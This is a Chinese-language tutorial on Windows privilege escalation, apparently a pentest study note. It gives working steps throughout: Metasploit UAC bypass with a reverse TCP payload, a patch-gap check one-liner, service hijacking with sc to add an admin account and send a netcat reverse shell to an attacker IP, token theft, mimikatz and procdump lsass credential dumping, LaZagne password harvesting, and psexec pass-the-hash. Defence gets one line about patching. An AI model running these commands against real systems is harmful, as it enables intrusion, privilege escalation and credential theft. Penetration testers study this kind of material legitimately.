Windows系统提权

提权知识储备

1️⃣常见提权方法

1、 溢出漏洞提权  2、 数据库提权  3、 第三方软件提权

2️⃣Cmd命令无法执行原因分析

有时通过webshell连接上操作系统后,cmd命令可能无法执行,原因一般都是被管理员降权或删除、组件被删除。 解决方法是通过脚本木马查找可读可写目录,上传cmd.exe,调用设定cmd路径(找可读可写目录不要选带空格目录)。

#设置cmd执行路径
setp c:\xxx\vvv\cmd.exe

3️⃣提权常用命令讲解

whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器IP ipconfig /all
net user——查看当前用户情况
netstat ——查看当前网络连接情况  
netstat –ano  /netstat –an | find “ESTABLISHED”
tasklist ——查看当前进程情况 tasklist /svc
taskkill ——结束进程 taskkill -PID xx
net start  ——启动服务
net stop ——停止服务
hostname ——获取主机名称
quser or query user ——获取在线用户
netstat -ano | findstr 3389 ——获取rdp连接来源IP
dir c:\programdata\ ——分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn ——列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber ——获取远程端口
tasklist /svc | find "TermService" + netstat -ano ——获取远程端口

系统溢出漏洞提权实战

零、系统溢出漏洞提权分类:

  1. 远程溢出 攻击者只需要与服务器建立连接,然后根据系统的漏洞,使用相应的溢出程序,即可获取到远程服务器的root权限。
  2. 本地溢出 首先要有服务器的一个用户,且需要有执行的权限的用户才能发起提权, 攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出root权限

一、UAC绕过提权

UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。 当获得的权限是属于管理员组的时候但是并不是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac。

uac 绕过exp

#用kali
use exploit/windows/local/ask

meterpreter > background  [*] Backgrounding session 1... 
msf5 exploit(multi/handler) > use exploit/windows/local/ask 
msf5 exploit(windows/local/ask) > set session 1 
msf5 exploit(windows/local/ask) > set lhost 192.168.60.79 
msf5 exploit(windows/local/ask) > set lport 4444 
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp 
msf5 exploit(windows/local/ask) > set technique exe 
msf5 exploit(windows/local/ask) > exploit 

其他exp:
use exploit/windows/local/bypassuacuse
exploit/windows/local/bypassuac

二、利用系统内核溢出漏洞提权

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。

微软官方时刻关注漏洞补丁列表网址: ***.com

比如常用的几个已公布的 exp:KB2592799、KB3000061、KB2592799

github中整理好的溢出提权exp: ***.com ***.com ***.com

如何判断可用的漏洞

  1. 快速查找操作系统未打补丁脚本 可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:

    cmd systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt 2. MSF后渗透扫描: post/windows/gather/enum_patches 3. Powershell扫描: Import-Module C:\Sherlock.ps1 Find-AllVulns

三、利用SC将administrator提权至system

试用版本:windows 7、8、03、08、12、16

关于sc命令:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

sc Create syscmd binPath= “cmd /K start” type= own type= interact
sc start systcmd

命令含义: 创建一个名叫syscmd的新的交互式的cmd服务 然后执行sc start systcmd,就得到了一个system权限的cmd环境

四、利用不带引号的服务路径

Windows命令解释程序可能会遇到名称中的空格,并且没有包装在引号中的时候。就有可能出现解析漏洞。 如开机自启动中有程序路径C:\Program Files\Vulnerable.exe,其中存在空格,此时在C盘根目录上传Program.exe文件时,可能会被目标开机自启动。如果无效,还可以尝试在C:\Program Files路径下上传Vulnerable.exe文件。

C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe

可以使用以下命令查看错误配置的路径

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

五、利用不安全的服务权限

⚫即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。 AccessChk工具可以用来查找用户可以修改的服务:

accesschk.exe -uwcqv “Authenticated Users” * /accepteula
accesschk.exe -uwcqv “user” *

sc命令也可以用来查找用户可以修改的服务:

#查找可以修改的服务
sc qc “Service”  

sc config xxx binpath= “net user rottenadmin P@ssword123! /add”
sc stop xxx
sc start xxx

每当我们开启服务时sc命令都返回了一个错误。这是因为net user命令没有指向二进制服务,因此SCM无法 与服务进行通信,通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。电脑重启时即可获得一个system的shell

完整案例:

①、利用系统自带的 DcomLaunch服务测试(此服务Power User组低权可操作)

#查询DcomLaunch的详细信息
sc qc DcomLaunch
#查看服务是否启动
net start | find "DCOM Server Process Launcher"  

#运行 tasklist /svc  找到对应服务
tasklist /svc

②、修改服务并获取系统权限

这里要配置使用nc反弹shell到我的攻击机上,把nc放到c:\windows\temp目录下,使用sc对服务进行修改

sc config DcomLaunch binpath= "C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e C:\WINDOWS\system32\cmd.exe"  

⛔注意binpath=后面一定要有个空格,IP为攻击者IP

③、查看是否第二步成功

sc qc DcomLaunch 

④、配置账号密码

sc config DcomLaunch obj= ".\LocalSystem"  password= ""

obj:指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。 password:指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。

⑤、重启服务

net start DcomLaunch 

⑥、攻击机上用nc进行监听4433即可得到反弹的shell

nc.exe -vv -l -p 4433

六、计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

#查看计算机的计划任务
schtasks /query /fo LIST /v
#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula

七、Meterpreter基础提权

首先在Meterpreter会话执行ps命令查看目标机当前进程: 假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,假设PID为2584: 然后我们可以执行以下语句窃取该用户进程的令牌:

steal_token  2584

溢出漏洞安全防范

及时通过Windows Update或第三方工具360更新补丁

提权后获取管理员密码

虽然我们已经有了管理员权限,但是我们最好是再获取管理员密码,原因如下

  1. 很多管理员账号密码都设置成一样的,攻下一台就可以拿下所有
  2. 远程连接时,比如使用木马,很容易被发现或者清理
  3. 如果用管理员账号,可以清除渗透痕迹
  4. 正规渗透测试过程中,都是取得管理员账号密码,登录3389端口或反端口连接者证明为成功

简单地说就是从获取管理员权限——>获取管理员账号

1、本地管理员密码如何直接提取

①、直接通过mimikatz读取管理员密码

mimikatz,很多人称之为密码抓取神器,它的功能很多,最重要的是能从 lsass.exe进程中获取windows的账号及明文密码——这是以前的事了,微软知道后已经准备了补丁,lsass进程不再保存明文口令。Mimikatz 现在只能读到加密后的密码。 win10无效

# 提升权限
privilege::debug
# 抓取密码
sekurlsa::logonpassWords

当无法上传mimikatz工具到目标服务器时,可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码,具体步骤如下

# 导出lsass.exe进程为lsass.dump文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

②、Lazagne 需要本地支持python

LaZagne项目是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码。 LaZagne 几乎支持市面上大部分常用工具。包括浏览器、Git、SVN、Wifi、Databases 等。 但是对聊天软件的支持不够本土化,主要支持一些国外的聊天软件。

laZagne.exe all  #获取所有密码
laZagne.exe browsers  #只获取浏览器记住的密码
laZagne.exe all -oN  #将输出保存到文件    

-oN表示是纯文本格式(正常的)的输出,和屏幕打印内容相同;还可以写成-oJ,JSON格式的输出,更便于程序解析;或者写成-oA,同时输出两种格式。

2、本地Hash远程直接登录


高版本的系统,密码不是明文的情况下,直接通过哈希值来取得管理员账号。主要通过MSF提供的exploit/windows/smb/psexec模块来完成

msf>use exploit/windows/smb/psexec
msf>set rhost #目标IP 
msf>set SMBUser administrator  #目标账号
msf>set SMBPass aaaaaa:bbbbbb  #目标哈希值
msf>exploit 
msf>shell

3、Hash密钥暴力破解


  1. 通过LC5暴力hash密码 使用gmer直接提权SAM和system文件或用Pwdump7提取hash后,最后使用LC5破解
  2. 使用ophcrack破解系统hash密码 ***.com